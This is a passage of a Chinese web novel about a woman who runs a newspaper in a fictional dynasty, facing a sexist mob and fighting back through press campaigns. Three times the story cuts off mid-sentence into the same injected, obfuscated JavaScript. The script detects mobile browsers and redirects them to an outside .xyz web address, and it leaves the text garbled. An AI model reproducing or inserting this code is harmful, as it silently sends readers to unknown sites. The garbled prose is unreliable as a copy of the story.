他面向孟允抒，恳切地说道：“孟社长，催雪此举会让她身败名裂，你可不能由着她的性子胡闹。请您快些将广告撤下来吧。” “俗话说，‘可怜天下父母心’。盛大人爱女心切，我可以理解。”孟允抒先说了句场面话试探盛老爷的态度，“但盛姑娘已是成年女子，有能力也应当为自己的行为负责。如今她和报社的交易已成，我不能因为您一句话就毁约。” “孟社长误会了。”盛大人解释道，“我并非要求报社返还小女付给你们的银两，你们只需撤掉广告即可。那些钱就当作是给报社的补偿。” 孟允抒发现，虽然盛老爷的思想非常保守，但是个讲道理的人。 从她在这件事中所处的位置来讲，她作为一个外人来插手盛家的家事实为不妥，而且她也不可能靠三言两语就扭转盛老爷的观念。盛催雪比她还要能说会道，可她用了几年都没做成这件事。 与其和盛老爷争辩什么“婚姻自由”“解放思想”之类的问题，最终闹得双方不欢而散，还不如从不可更改的规则上拒绝他。 “不，盛大人才是误会了。”孟允抒笑道，“做生意最讲究‘诚信’二字，这是千金都难买的东西。我绝非是因为贪图钱财才拒绝撤销这桩买卖的。” 盛老爷沉默片刻，像是下定决心一般，再次向孟允抒提议道：“孟社长尽管开口，你需要多少银两才能撤掉广告？” 孟允抒摇头道：“盛大人，我方才说过了，这不是钱财的问题。我与盛姑娘达成的是你情我愿的交易关系，契约上白纸黑字写得清清楚楚，我不能擅自毁约。” 盛老爷脸色一沉：“那请孟社长告诉我，您要怎样才肯撤下这则广告？” “很简单，若是合作方主动提出不需要再刊登广告，那我们自然就会同他们解约。”孟允抒给出了一个解决办法，“也就是说，如果盛姑娘亲口要求我撤掉广告，我们就会照做。” 盛老爷和孟允抒都心知肚明，这种情况根本不可能发生。 盛老爷面露愠色：“孟社长，我对你以礼相待，但你却故意刁难我。” 他指责孟允抒道：“你明知道小女此举有辱她的名节，却依然和她达成交易。在黎民报社，难道你们丝毫不顾及公序良俗，只要给钱，无论什么文章都能见报？” 孟允抒笑了笑，语气却不容置疑。 “盛姑娘想为自己的贴身丫鬟寻一位良配，这无可厚非。从此事中，我只看到盛姑娘与初晴姑娘主仆情深，这违反了哪门子的‘公序良俗’？” “盛大人，您与我的看法并不一致，我不想同您争吵。若您执意要撤下这则广告，就请您回府，同盛姑娘好好谈一谈，兴许她还会听从您的命令。” “罢了。”盛老爷见状也没有再和孟允抒胡搅蛮缠，他起身拱手行礼道，“今日叨扰孟社长，实为抱歉。盛某告辞。” 孟允抒将盛老爷送至报社门口，望着他悻悻远去的背影，心里有些忐忑。 他与盛催雪血脉相连，即使他再怎么生气，也不会对盛催雪造成实质性的伤害。盛老爷这关相对好过，旁人对盛催雪攻击的激烈程度却是他的千万倍。 她耳畔的那些流言蜚语中就是最佳证明。 待到黄昏时分，夜市纷纷开了门，报社才迎来了今日的首个客流低谷期，闲言碎语减少了大半。 盛催雪也趁着这个机会，带着初晴从后门来到了报社。 “孟社长，今日情况如何，可有人往报社寄信？” 孟允抒看她一脸欣喜和期待的模样，好像今日的动乱与她毫无干系一般。 她甚至还有闲工夫将一盒她刚买的香丸塞给孟允抒。 “没有。”孟允抒将她今日的见闻如实相告，“大部分民众的态度都是好奇观望，没有人敢贸然出头。” “哦，正常。”盛催雪若无其事地喝了口茶，对孟允抒笑笑，“劳烦孟社长明日接着发广告。” 孟允抒想起中午盛大人的来访：“盛姑娘，你父亲那边怎么说？” 盛催雪摆摆手说道：“别提了，他今日听闻此事后，特地从官府赶回来将我骂了一顿，非要让我来找你撤下广告。我不依他，他就把我锁在房内，也不许旁人给我送饭。” 孟允抒看着面前活蹦乱跳的盛催雪：“那你是怎么出来的？” “从我十岁起他就用这招，这点问题根本难不住我。”盛催雪说起她接下来的计划，“最近一段时间我不打算回去了，省得他唠叨得我心烦。正好我还能趁机在外面玩上一阵子。” 孟允抒觉得，盛催雪有这样的心态，即使遇上网络□□也根本不会败下阵来。 说到玩，盛催雪眼前一亮，像是突然想起来什么似的看向孟允抒：“孟社长，你帮了我的大忙，我又对报社事务感兴趣，反正近日我闲来无事，不如让我在你的报社中帮工吧？” “那怎么行？” 孟允抒大惊失色，她发现盛催雪简直想一出是一出，玩心大发的时候无所顾忌：“你现在可是全京城的焦点人物，有多少双眼睛盯着你，你怎么还敢公然在报社露面？” “城里又没几个人见过我，再说了，‘灯下黑’的道理你我都明白，我藏身此处反而不容易被人发现。”盛催雪据理力争道，“而且我只会在报社客人较少的时段前来帮忙，我保证待在室内不出来，这样如何？” “那也不成。”孟允抒断然拒绝，她指着桌上堆积如山的纸业说道，“报社中的事已经够多了，我——” 她一句话还没说完，突然意识到盛催雪简直是送上门来的金牌员工。 早期孟允抒成立报社时，因资金不甚充裕，只招了不到二十个成员。现今报社声名远扬，她也是时候着手扩充员工数量。若她能成功让盛催雪对报社工作产生热情，将其挽留下来，那盛催雪绝对能成为她的又一得力干将。 综合分析盛催雪的个人条件和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛催雪扭头看去，这才发现萧谨言一副深受打击的模样，失魂落魄地靠在椅背上，神情恍惚，连目光似乎都失了焦，不知道在看些什么东西。 “不至于吧。”盛催雪匪夷所思地说，“我也没说什么重话。” 和她火力全开的时候比，盛催雪给萧谨言的评价确实已经算是嘴下留情了。 但既然孟允抒这么说了，无奈之下，盛催雪只得好声好气地安抚萧谨言：“萧主编，其实你的文章也有可取之处。你看，你的文风细腻婉约……” 萧谨言全然不信盛催雪的夸赞，神情哀伤地说道：“我知道姑娘只是说些好话宽慰我罢了，你不必为了顾及我的心情而吹捧我。” 盛催雪赶忙解释道：“并非如此，我确实认为此文有可圈可点之处。” “姑娘不必瞒我，我有自知之明。”萧谨言依然沉浸在悲痛与自贬的情绪中，黯然神伤道，“我也知晓这样的性情只会讨人嫌，但我改不了，姑娘也一定对我心生厌弃。” 孟允抒眼见着盛催雪眉心的疙瘩又耸了起来，她心道不妙，却没来得及阻拦她的怒火。 “这也不成，那也不行，你究竟要我如何说你才满意？” 盛催雪的耐心显然已经被消磨殆尽，萧谨言见状更是难过，一开口就带上了颤音。 “看我说什么来着，你果然嫌我烦。” 孟允抒忙了一整天，已经是心力交瘁。面对眼前的鸡飞狗跳，她实在没力气再处理他们之间的矛盾。 她怎么会想到让这两个人共事？ “社长，今日……” 一道平稳的女声响起，孟允抒像是抓住救命稻草一般，拽着秋盈就出了门：“我们出去说。” 她飞也似地逃离了那个是非之地，这才问秋盈道：“你找我有什么事？” “今日报社客流激增，我发现其中部分客官形迹可疑，但报社中并未有财物丢失的情况。” 秋盈向孟允抒讲述了详情：“据我亲眼所见，加上社中伙计也有反映，那些人曾在报社中到处打转，像是在探查什么情况。” 此事听起来确实蹊跷，孟允抒一时想不到这些人的目的，只能先叮嘱秋盈，让伙计们加强安保，注意警戒。 她凭直觉作出了一个猜测。此事恐怕与这则征婚广告有关。 33. 偏见 翌日一早，孟允抒同秋盈像往常一样，在离报社不远处下了马车。 但她发现，今日报社前的景象显然非同寻常。 此时还不到卯时，正是民众起来劳作、前往上工的时间。平日里这个时候的报社堪称门可罗雀，而此时报社前的空地上却挤满了人，有相当大的一部分人甚至占据了街道的空间。 台阶上站着两个昨晚负责值夜的伙计，神情焦躁，似乎在向他们解释着什么。 秋盈惊诧道：“盛姑娘的名气竟然有如此威力？” 孟允抒也抱有同样的疑问。 昨日是征婚广告的首发日，黎民报社人山人海实属正常现象，可按理来说，新闻一旦过了夜，热度就会骤然下跌，他们就算再关心盛催雪的八卦，也不至于一大清早就凑在这里。 孟允抒快步上了台阶，还没等她发问，一名伙计就如释重负地说道：“社长，秋掌柜，你们可算来了！” 他看看面前的众人对孟允抒说：“这些人从半夜起就站在这了，吵着闹着要见您和秋掌柜。我和他们说您不在，让他们早上再来，可没人听我的，问他们要干什么，他们也不说。” 胤朝的夜市很是繁华，孟允抒估摸着，这些人八成是晚间从食肆、酒肆等店铺出来后就等在这里，熬了个通宵。 为了不影响报社经营，孟允抒面向众人，压下他们交头接耳的声音：“感谢诸位客官莅临黎民报社，我们对各位的热情不胜感激。我便是你们要找的孟社长，旁边这位姑娘是秋掌柜。” 一席话如同重磅炸弹被投进了人群之中，迅速掀起连天的波澜。 “黎民报社果真是掌握在几个女子手中！” “《黎民日报》原来是女子所办！” “身为女子却在外抛头露面，做的还是这种勾当，真是恬不知耻！” “怪不得盛催雪的广告能够见报！” 无数谩骂如狂怒的潮水般向她们两人袭来，羞辱与指责将孟允抒淹没，一直漫过她的头顶，几乎让她产生了溺水般的窒息感。 这是赤裸裸的，不加丝毫掩饰的恶意。 此刻孟允抒明白，这些客人并非是单纯为了那则征婚广告而来。 她奋力大喊着，试图先让这群人的情绪稳定下来：“诸位客官，有话我们可以好好说，何必如此大动干戈，伤了和气！” 然而这些人显然已经在冲动的裹挟下丧失了理智，甚至有些人从路边拾起石块、木棍之类的东西砸向她们，还有几人不停地向她们吐口水。 秋盈和两名伙计见势不妙，迅速转身推开前店的大门，拽着孟允抒躲了进去，又赶紧把门闩插上。 门外的客人并未罢休，他们见到两人的行为只当是她们做贼心虚，更是发疯似地涌到店门外，卯足全力想要冲破大门。 “这会知道害怕了？要想人不知，除非己莫为！” “你们都干出这么不检点的事了，还装什么良家妇女？” 他们拍打大门的声音如同狂风骤雨一般，污言秽语伴随着它们在孟允抒耳畔不住炸响，四人连忙搬来重物顶住大门，这才使店门不再像刚才那般摇摇欲坠。 面对意外状况，两名伙计赶紧说道：“社长，我们去报官。” “等等。”孟允抒截住两人的脚步，“你们其中一人去报官就行了，另一人去报社职员上工时的必经之路上守着，告诉他们从后门进来。” 秋盈望了一眼门外纷乱的虚影，即使是衙役也不可能把这么多人抓走，这些人一时半会也无法冷静下来。 她询问孟允抒的意见：“我们接下来该怎么办？” “暂停营业，静观其变。”孟允抒作出决断，“你随我到办公室来。” 孟允抒让秋盈坐下，给她倒了杯茶：“你先喝口水压压惊。” 孟允抒有任职记者的经验，也是经历过大风大浪的人，即便如此她在面对这种大规模的尖锐恶意时，依然觉得不寒而栗。秋盈是土生土长的胤朝人，面对这种性别偏见，她应当会比自己受到更深的伤害。 不过，秋盈的反应却并不像孟允抒想象的那样低落。 “这些言论从我们办报的那一天起就从来没停过，我早就对此种现象习以为常。”她抿了口茶，放下杯子说道，“但我没想到今日会忽然有这么多人来报社宣泄不满。” 孟允抒也觉得这一切都来得太过突然，于是她陷入沉思，试图从之前的事中查找蛛丝马迹，作为证据串联起今天的事件。 “对了。”一道灵光从孟允抒脑内闪过，她看向秋盈说道，“昨日晚间你曾告诉我，报社有人形迹可疑。” 秋盈顿时理解了孟允抒的意思，惊异地说道：“他们在探查报社成员的情况？” 孟允抒点点头，却陷入了新的疑问。 “他们的目的是什么？”孟允抒分析道，“如果说是同行恶意竞争，借此机会对报社进行打压，那他们的反应速度未免太快。” 昨日上午孟允抒才发布征婚广告，从他们想到这个计谋到纠集人手，再到引导舆论造势，她找不出有哪家书肆拥有这样的能力。 在排除了所有的可能性后，秋盈沉默片刻，轻轻地说了一句话。 “最可怕的一种解释是他们没有目的。” 孟允抒在心中为秋盈的这句话补上了后半句。 他们是发自内心地对女子抱有偏见。 此前在报社名气不大时，就时常有人来找她们的麻烦，但因为闹事的人较少，也没有太多人关注社长的身份，孟允抒可以轻松摆平。 但这次显然不一样，黎民报社的名气本来就日渐增长，盛催雪发布的征婚广告更是压死骆驼的最后一根稻草，吸引巨大客流的同时也让他们注意到了这间报社的不同寻常之处。 职场中的性别歧视一直都存在，但相比于现代，胤朝人对于女子经商的反应显然还要激烈得多。 孟允抒险些忽略了这一点。 眼下的境况让她不由得联想到许昭几日前同她的对话。 许昭致力于建设一个人人平等的社会，使人们不因出身、性别而受歧视。他的观念太过超前，又触动了不少人的利益，所以他提出的建议被保守派打压，双方各执一词，局势胶着。 如今看来，偏见与歧视在人们的脑海中确实根深蒂固。朝中的政治博弈往往是牵一发而动全身，恐怕正是因为这种局面，皇上才迟迟不下决断。 孟允抒望向她桌上层层堆叠起来的报纸。 新闻正是传播思想的工具。 “外面那些人是不是都疯了？” 孟允抒抬头，一名前来上工的女编辑咬牙切齿地骂了几句，她后面的那名女探官则担忧地问道：“社长，我们今日还开选题会吗？” 显而易见，他们今天肯定是无法正常营业了。 “开，当然要开。”孟允抒笃定地说，“但我们需要换个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564700|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形式。” 待到报社全员都已经到齐，孟允抒叮咛了职工几句，首先带领报社的所有女性编辑与探官进了采闻堂。 孟允抒在长案的最前方落了座，看向分坐在两旁的众位女子。 “各位姐妹，既然我们遇到了此番意外状况，所以今日的选题会也不同以往。在全员会议之前，我想先召集各位讨论此番危机的应对之策。” 她这句话刚一落音，堂内便响起此起彼伏的喧哗，每个人的脸上都义愤填膺。 盛催雪昨天刚刚得到孟允抒的准许来报社帮工，正是劲头十足的时候，她今天特意起了个大早来上工，却发现报社因为那些舆论的冲击被迫关门，心里烦闷不已，一腔怒火无处宣泄。 她挽起袖子，带着一副想刀人的表情说道：“要我说，对付这帮人最好的办法就是以牙还牙。不占理的分明是他们，我们却要在这受窝囊气！” 孟允抒欣赏盛催雪这种直率无畏的性情，但她的办法并非上策。 “我知道各位心里都憋着火气，但还请诸位听我一言。”孟允抒适时地开口维持秩序，“即使我们能让这些人闭嘴，可京城这么大，我们不可能让所有人都对此事绝口不提。所以，我们必须从根本上解决问题。” 她轻叩着桌子说道：“我们同为女子，自然最清楚女子方方面面的难处。眼下我们只需要做一件事，即有理有据地反击性别偏见，向世人传达我们的态度，驳斥那些腐朽不堪的观念。诸位若是有什么好点子，可以畅所欲言。” “这事简单。”盛催雪往椅背上一靠，环视着堂内的女子说，“黎民报社人才济济，在场的诸位姐妹中有哪个不是才华横溢，写几篇论证的文章根本不在话下。” “这种方法不错，但尚有缺陷。”一直在旁边沉默不语的秋盈突然发了话，“我们若是在报上发文，读者对这件事的关注点依然会停留在报社成员与世俗舆论的对抗上，而非‘女子并不逊于男子，理应享有同等权利’。” 她继续说道：“况且，我们报社一共就这些人，比起那些庞大的反对声浪，我们未免显得势单力薄。” 因为报社今日的意外状况，孟允抒开了特例让秋盈参加会议，但没想到她会主动发言，甚至敢于反驳别人的意见。 秋盈已经完全没有当初那副恪守陈规的样子了。 孟允抒笑着问她：“秋掌柜有何高见？” 秋盈听出她揶揄的口气，佯装生气地瞪了她一眼，转而正色道：“或许我们可以将眼放宽些，借助更多女子的力量。” 接着她提出了具体做法：“在这段时间内，我们可以在报纸上开辟一个专栏，针对此番风波与世俗偏见公开向民间女子征稿，如此一来我们就能让众位女子从不同视角反击世俗偏见，也有利于增加我们的支持者数量。” 堂中响起一阵窃窃私语，众人都纷纷点头，向秋盈投来赞许的目光。 “这个主意好。”盛催雪拍手称快，兴致高昂地说，“此事因我而起，我应当对此负责，由我来打头阵。第一篇文章就署我的名字。” 盛催雪此刻可是京城热议榜上的头号人物，凭借她的名气，孟允抒根本不愁她的文章无人问津。 而且，她也不介意把气氛炒得更热烈些。 “既然如此，我们就行动起来吧。”孟允抒采纳秋盈的建议，动员各位探官和编辑，“接下来我们进入下一个议题，即征稿公告的具体内容。” 34. 破局点 今天轮到秋盈值夜，孟允抒下工后就只身一人返回了许府。 由于情况特殊，今日报社的事务比平时减少许多。孟允抒跨进许府的大门时，天色还没有暗下来的迹象。 按时间推算，此时许昭应当已经散值归来。 她蹑手蹑脚地走到书房外，想突然蹦出来吓许昭一跳，却听得里面传来响亮的说话声。 “许大人，陛下和朝中列位大人都知道你刚正不阿，念及你屡破重案，这才同意你的提议，为寒门学子施以援手。可你倒好，不知满足，得寸进尺！” 书房的大门虚掩着，孟允抒悄悄上前，透过门缝察看书房内的情况。 许昭与另外一人相对而坐，那人背对着孟允抒，她无法看清对方的面容，只能从背影和他的声音分辨出这是个中年男子。 从他说话的语气上来看，他和许昭的交谈并不愉快。 那人愤怒地拍着桌子，杯中的茶水都被他震得洒了出来：“你听听你说的都是些什么话，提高女子地位，鼓励她们读书、立业，甚至还让陛下允许女子入仕，简直胡闹！” 许昭则气定神闲地反问他：“这又不是什么荒诞不经的言论，大人为何说我胡闹？” “女子只要操持好家务即可，她们哪能懂得治国理政之道？” 许昭沉默片刻，像是在思考对方的这句话。 “这话说得真是奇怪。许多女子生来就被迫遵循三从四德，她们从未读过书，又何来政治才能？” 许昭皱起眉头，不解地问道：“莫非大人生来就有经天纬地之才，不用读书就能对治世之说侃侃而谈？若大人有这般奇才，为何从未有一人对此称道？” 那人被许昭的话噎得无言以对，气得浑身颤抖：“你——” 孟允抒在门后憋笑憋得辛苦。 许昭性格耿直，说话从来不会拐弯抹角，可正是因为他的疑问发自肺腑，让人听来更像阴阳怪气，嘲讽力度极强。 话不投机半句多，那位来客与许昭爆发了激烈的争吵，而后用一句话作为结尾，站起身说道：“许大人，你若是一意孤行，只会成为众矢之的！” 许昭见他有告辞之意，也随他起身，将对方送往门口：“多谢程大人提醒，但我心意已决。” 孟允抒见两人朝自己这边走来，赶紧下了台阶，装作无意间从院中经过的样子。 她一抬眼便对上了程大人的视线，他气势汹汹地往门外走，只是用余光瞥见了孟允抒。他走得匆忙，两人互不知晓对方的身份，便只是向彼此行了个常礼。 许昭看到孟允抒顿时喜上眉梢，他先请她进了书房，待许昭送客归来后又快步赶往书房。 孟允抒坐在桌前翻看许昭放在一边的书本，将杯中凉茶一饮而尽：“最近这天气真是愈发燥热，连坐着不动都要出一身的汗。” 许昭见孟允抒口渴，接过她的杯子又给她倒满了水：“所幸今年的收成不错，城中到处可见卖瓜果的商贩。” 说着，他叫来一个小厮吩咐道：“你去告诉伙房的人，让他们把我方才买的西瓜切了。” 孟允抒在一旁补充道：“为我们端来一盘就行，余下的你们自己分了。” 天气这么热，打工人何苦为难打工人。 小厮得了令，眉开眼笑地跑了出去。 许昭在孟允抒身旁坐下，笑容满面地问她：“你今日怎么回来得这么早？” 这次孟允抒没有瞒他，将近日报社中发生的事一五一十地告诉了许昭。 见许昭的神色转为担忧，孟允抒又宽慰他道：“你不必为此事忧虑，我已经和报社中的诸位姐妹商讨出对策，假以时日定能平息事态。” “我不单是为报社的事发愁。”许昭摇头道，“只是从民众的态度来看，旧党的理念真是深入人心。如此一来，想要推行变革之策实属不易。” 民间舆论会影响官方政策。 而反过来讲，官方态度又会引导民众思想。 在变革派的势力壮大之前，朝廷中的主流声音就是“守旧”，认为传统的就是最稳妥的，一切遵循旧制，甚至在部分观念上还要倒退回几百年前，譬如依照人的身份建立等级森严的制度，以此约束人的行为；秉持迂腐古板的道德观念，主张“男主外女主内”的传统家庭模式；为表孝心，婚姻应当全权交由父母定夺等。 当然，在孟允抒看来，这些观念已经是烂在历史尘埃里的裹脚布了。 她想起刚才那个与许昭产生争执的男子，便顺口问道：“方才那位大人就是旧党的人？” “不止。他可谓是旧党的主心骨。”许昭露出不悦的目光，毫不掩饰他对那人的不满。 “从前你不曾见过他，但一定听过他的名字。”许昭看向孟允抒说道，“他就是程玄平。” 许昭没有添加任何多余的介绍，但因为此人在全国上下都是鼎鼎有名的人物，孟允抒没费太大力气，便在记忆中找到了他的行为与成就。 过去在守旧言论甚嚣尘上的时候，程玄平曾经单独开创了一门名叫“礼道”的学说，其内容涵盖了所有保守派的理念诉求，因此他的学说成了这一派别的核心思想，而他本人也一跃成为了保守派的中流砥柱。 孟允抒回忆着程玄平著作中的内容，眉头比方才的许昭还要皱得高些。 这人简直就是个顶级老封建，可他的学说却在朝堂上大行其道。因为前些年保守派的势头正盛，如许昭所说，民众也深受这些思想的荼毒。 水能载舟，亦能覆舟。在民间这样的氛围下，即使是皇上也不敢轻易提出变革。可这样一来，保守派就能始终占据上风，反过来继续影响民众的思想。 这就是恶性循环。 许昭也深知这一点：“若是无人站出来反对他们，待到旧党只手遮天时，只会出现民不聊生的惨剧。” 孟允抒早就与许昭心意相通，她当然明白，许昭所持的观点和程玄平截然相反。从程玄平的视角来看，许昭字字句句都在同他唱反调。 孟允抒想起方才程玄平跳脚的模样，又不免觉得有些好笑：“难怪他会对你的提议大力谴责。” 程玄平现任参知政事，在朝中居于副相之位，许昭作为五品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573794|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官员，能惹得程玄平这样一个二品大员跑到家里来骂他，真不知道该说许昭胆大包天还是他本领过人。 许昭愤愤不平地喝了口茶，似是要压下心中的愤怒：“别人都说‘宰相肚里好撑船’，我都没说他几句，他却如此小肚鸡肠，竟然亲自来到府中兴师问罪。” 看来许昭显然没有意识到他独特的社交才能。 孟允抒笑得前仰后合，打趣般地安慰着许昭：“我知道你心里委屈，那由我来帮你出口恶气如何？” 许昭闻言放下杯子，好奇地看着孟允抒：“你打算怎么做？” “他这样小气，就该让大家都知道，为你评评理。” 孟允抒想了想，倒还真生出一个主意。 她问许昭：“据你所知，程玄平此人可有什么为人诟病的行为或过往？” 许昭略一思忖说道：“他身上的污点多如牛毛，可若是落到事迹上，其中有许多都是传言，我无从查证其是否属实。” 孟允抒对许昭露出一个自信的微笑，胸有成竹地拍拍许昭的肩膀：“公子尽管放心地讲，你可别忘了我是做什么的。” 许昭了然地笑笑，接着像是宣泄情绪一般，滔滔不绝地讲了一箩筐关于程玄平的八卦。 孟允抒心满意足地收下这些小道消息，什么私生活混乱、仗势欺人、好大喜功，一条比一条劲爆。 其实这些事情放在旁人身上也顶多算是个娱乐新闻，但对于程玄平来说，正是他的学说将这些问题的严重性抬升到了一个不应有的高度。 一道灵光倏然从孟允抒的脑海中闪过，她激动地攥住许昭的衣袖说：“公子，这是个好机会！” 许昭一头雾水：“什么好机会？” “程玄平最推崇礼法约束，整日将那些所谓的秩序道义挂在嘴边。”孟允抒语速飞快地解释道，“若我们能够证实他并非平日所展现出来的那般高风亮节，就连他本人都与自己的理念背道而驰，那他的学说定然会惹人非议。” 对于其他旧党人员也一样。 许昭恍然大悟：“这样就可以打破现下的这种僵局。” 孟允抒狡黠地笑了笑：“没错。” 这招非常阴险，而且上不得台面，但胜在效果绝佳。 俗话说好事不出门坏事行千里，只要孟允抒率先爆料这些事，不出一日，流言就能传遍整座京城。 接着，旧党在民间的公信力就会迅速下降，他们的嚣张气焰亦会受到打击，至少短时间内他们都不敢在朝堂上太过放肆。 与此同时，黎民报社通过征稿或许能够唤醒一阵新思潮，许昭也能以此为例，趁旧党消停的时候再次进言，论述变革的可行性。 若是计划能够顺利开展，他们眼前所遭遇的挫折反倒成了垫脚石。 孟允抒和许昭就这个想法详谈了一番，最终达成一致。 许昭嘱咐孟允抒：“你一定要小心，不要暴露了自己的身份。” “放心。” 孟允抒握住许昭的手笑道：“今日报纸销量下滑得厉害，正巧我们可以趁机换个方式赚钱。” 35. 曙光 从许昭那里获取到几个旧党重要人物的名单与相关情报后，孟允抒将其带往报社，在选题会上发表了自己的想法。 因为报社受到舆论的冲击，作为主要销售力量的店面被迫关闭，昨日《黎民日报》的销量严重下跌。 针对这种情况，孟允抒索性决定新增一种报纸形式。 她丢掉了平日他们所用的版面格式，让他们的报纸回归小报的原生态，纸张也换成最次等的那种。 经过这样的改造，他们的报纸就和随处可见的民间小报并无区别了。 正是如此，这种报纸才符合它的用途——承载八卦。对于这种偏向娱乐性质的新闻，严谨性倒是其次。只要孟允抒能将这些官员不为人知的一面捅出去，自然会有好事的人去查证这些消息的真实性。 最重要的是，面对这种来路不明的民间小报，即使是朝廷要员也无从查证消息的源头，孟允抒可以从中全身而退。 孟允抒的提案在会议上通过后，她自己率先试水，拿旧党领袖程玄平开刀，按系统给出的线索调查后发现，这人身上的瓜可是一个比一个炸裂，单论“他与多个下人有染，且男女不忌”这一条消息，就足够他喝上一壶了。 报社的诸位成员赶在第一线吃瓜现场，听闻孟允抒带来的消息后惊异不已，萧谨言的眼珠子都快被他瞪得掉了出来。 “程大人被那么多人尊称为先生，他著书立传，平日总是不苟言笑，他私底下竟然会做这等伤风败俗之事！” 起初就连孟允抒自己都不敢相信这些事居然发生在程玄平身上，这么个严肃古板的半百老头，在人背后居然玩得这么花。 “独乐乐不如众乐乐，此等秘辛若是只有我们知晓，岂不可惜？”孟允抒看看瞧新鲜的职工，吩咐他们道，“近日报社无法开店，你们平日无事时可以多在城中跑跑，沿街叫卖小报。若是见到官员巡街或其他可疑人等，一定要避其锋芒。” 接着，孟允抒又特地吩咐排云，想办法给程玄平的夫人送一份小报。 狗血新闻的传播速度往往是最快的，这些消息一经散布，热议便迅速从报社内部蔓延至整个京城。 程玄平的妻子得知此事后，将家中搅了个天翻地覆，程玄平后院起火，又为他人耻笑，自然也顾不得朝中政事，向皇上告假宣称要处理家事，待在府中避起了风头。 孟允抒见这招效果甚好，于是趁热打铁，让报社的探官们赶紧往这锅粥里多加几剂猛料。 不出五日，旧党的声音就小了下去。 与此同时，秋盈和盛催雪这边也一直没闲着。 近日黎民报社所受到的冲击已经传遍全城，盛催雪的文章开了个好头，她公开叫板若有人认为女子无才，那就与她当面斗诗作文，用硬实力来说话。此文字字珠玑，不但将那些庸俗之人骂了个狗血喷头，更是直指世人对女子认知的狭隘。最后，她在文后附上了《黎民日报》的征稿要求，呼吁全城女子发声投稿。 此文发出后一呼百应，数篇佳作从城中各处寄来，从事不同行业、拥有不同出身的女子文辞激昂，在文中将自己的见解抒发得淋漓尽致。 孟允抒翻看来稿，每张纸页上都承载着一个女性的鲜活灵魂，从字里行间中能看得出她们熠熠生辉的身影。 知名女医悬壶济世，医术比同门师兄弟要高明许多，去年时疫若非她研制出良方，城中百姓只怕会是尸横遍野；开酒肆的孙大娘说，她的调酒技术无人能及，若有人瞧不起女子，那从此之后就不要再踏进她的酒坊半步，免得被她的酒污了身份；一名农妇则直言，此前她从未读过书，但在参加黎民报社的识字会后，她靠买来的书籍自学成才，如今写出的话本小说畅销全城。 一场接一场的风暴席卷着整个京城，大半个月之后的一个上午，孟允抒从采闻堂出来，去前店取东西时，突然发现门外的氛围是久违的寂静。 “秋盈。”她迟疑地唤了一声，“你有没有觉得，门外似乎没了那些吵闹的声音？” 秋盈闻声而来，她侧耳倾听了一会，十分谨慎地点点头：“好像是的。” 孟允抒和秋盈对视一眼，两人屏住呼吸悄声上前，小心翼翼地推开报社大门。 门前的街道上，身着各式服装的路人或行色匆匆，或闲庭信步，除了几片被风吹进来的树叶，并没有其他人因为他们的动作而作出太大反应。 孟允抒愣了愣神，随后心头涌起一阵狂喜，奋力扑向秋盈，与她相拥而笑。 “秋盈，我们做到了。” 她们中止了这场没有硝烟的战争。 “请问报社现在是否正在营业？”一名书生打扮的年轻男子抬头望了望“黎民报社”的匾额，对孟允抒和秋盈笑了笑，“今日的《黎民日报》印出来了吗？” “印出来了，客官您稍等。”孟允抒大喜过望，撒开腿就往后院跑，大声招呼着伙计们干活，“各位兄弟姐妹，我们恢复营业了！把今日的报纸拿过来！” 秋盈一面请那位来客稍等，一面回头望向孟允抒，见她毫不顾及自己的形象，衣袂随着她跑动的姿势上下翻飞，又是好笑又是关切地说道：“社长你跑慢些，别把自己绊倒了！” 孟允抒闻声提起裙摆，回头冲她粲然一笑：“别担心，你招呼好来客！” 秋盈转过头，迎进两位妇人。 接着，越来越多的脚步声由远及近，最后踏进了报社，终于将往日的热闹带回了这里。 除此之外，盛催雪发出的那则征婚广告也有了回音。几个代为跑腿的人来到店里，将信交给秋盈，她将信小心地收好，一并交给了盛催雪。 盛催雪听闻接二连三的喜讯高兴得从椅子上蹦起来，夸下海口说今日要请全报社的成员吃饭。这一举动为她赢得了极高的人气，报社的各位职工纷纷称赞她的大气，一时之间她被夸得忘乎所以，平日里本就高昂的头颅仰得更高了些。 在一派欢欣雀跃的氛围中，只有两个人显得格格不入，一个是粉面含羞的初晴，盛催雪拆开了信件和她一同浏览其中的内容，她被盛催雪的打趣逗得红了脸；另一个则是笑得十分勉强的萧谨言。 直到盛催雪向孟允抒提出，她今后想继续在报社编辑部任职时，孟允抒才明白萧谨言的讪笑是因何而起。 孟允抒本来就打算扩充报社的人手，盛催雪主动提出留任，她当然是求之不得，便一口应了下来：“盛姑娘聪慧过人，又与萧主编性格互补，你若是能继续担任副主编，那当然是再好不过。” “等等。”萧谨言打断孟允抒的话，一脸幽怨地说，“你还没问过我的意见，怎么就这样擅自定夺？” 